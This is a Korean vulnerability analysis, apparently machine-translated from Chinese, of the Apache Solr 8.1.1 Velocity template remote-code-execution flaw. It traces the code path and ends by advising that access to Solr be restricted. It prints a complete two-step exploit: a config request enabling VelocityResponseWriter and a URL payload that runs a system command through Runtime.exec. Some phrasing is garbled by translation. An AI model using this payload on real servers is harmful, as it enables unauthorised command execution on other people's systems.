Apache Solr에서 RCE 0day 취약점이 발견되었습니다(취약점 번호는 제공되지 않음). 여기서는 참조용으로 개체를 재현하고 전체 RCE 프로세스를 분석합니다.
재생산 버전: 8.1.1
RCE를 구현하려면 먼저 두 단계가 필요합니다. 먼저 애플리케이션이 특정 코어(Core Admin에서 볼 수 있음)를 활성화했는지 확인하고 인스턴스에서 애플리케이션을 확인합니다.
그런 다음 먼저 다음 json 데이터를 구성 인터페이스
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
로 보냅니다. 그런 다음 다음 URL을 방문하여 RCE를 구현합니다.
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
먼저 첫 번째 데이터 패킷을 분석합니다. mycore 구성을 위한 것이므로 먼저 구성 요청을 처리하는 SolrConfigHandler의 handlerRequestBody 함수에 중단점을 설정합니다.
POST 요청이므로 HandlePOST 함수를 후속 조치합니다.
handPOST에서, 먼저 mycore를 꺼내십시오. 현재 구성은 우리가 보낸 구성과 동시에 handlerCommands 함수로 가져오고 후속 작업에서는 마지막으로 addNamedPlugin 함수에 들어가고 solr.resource.loader.enabled 및 params를 사용하여 VelocityResponseWriter 객체를 생성합니다. loader.enabled 값은 true로 설정되고, 객체 이름은 Velocity입니다.
그런 다음 두 번째 데이터 패킷을 보낼 때 HttpSolrCall.call에서 responseWriter를 얻을 때 매개변수 wt의 값에 따라 responseWriter 객체를 얻습니다. wt가 속도일 때 우리가 얻는 것은 신중하게 구성된 것입니다. 일련의 후속 호출 후 VelocityResponseWriter
는 마침내 우리의 취약점에서 가장 심각한 VelocityResponseWriter.write 함수에 진입합니다. 먼저 createEngine 함수가 호출되어 custom.vrm-을 포함하는 악성 템플릿을 생성합니다. >payload.engine,
악성 템플릿은 엔진 overridingProperties
의 params.resource.loader.instance 및 solr.resource.loader.instance에 배치됩니다. 여기에는 매우 중요한 점이 있습니다. params.resource.loader.instance 및 solr.resource.loader.instance를 입력하여 paramsResourceLoaderEnabled 및 solrResourceLoaderEnabled가 True인지 확인해야 합니다. 이것이 첫 번째 데이터 패킷이 수행하는 작업입니다.
VelocityResponseWriter.getTemplate은 우리가 제출한 v.template 매개변수를 기반으로 우리가 구성한 악성 템플릿을 가져옵니다
마지막으로 악성 템플릿이 제거되고 해당 병합 메서드가 호출되었습니다.
이 템플릿을 이해하려면, Velocity Java 템플릿 엔진(이 tmplate은 org.apache.velocity.Template 클래스 객체이기 때문에)을 이해해야 합니다. 공식 설명은 다음과 같이 번역됩니다.
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
이 설명에서 우리는 이 템플릿 엔진에 우리는 기본적인 작성 방법만 이해하면 됩니다.
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
위의 기본 구문 소개를 통해 페이로드 구성 방법을 더 깊이 이해하고 싶다면 Velocity Java 정보를 확인하세요. 당신 자신, 우리는 여기에 있습니다. 더 이상 깊이가 없습니다.
그래서 마지막이라는 악성 템플릿의 병합 방식을 통해 RCE가 성공적으로 발생하게 되었고, 드디어 키 콜 체인이 추가되었습니다.
현재 공식 패치가 제공되지 않아 Solr에 대한 접근을 제한하는 것이 좋습니다.
위 내용은 Apache Solr의 최신 RCE 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!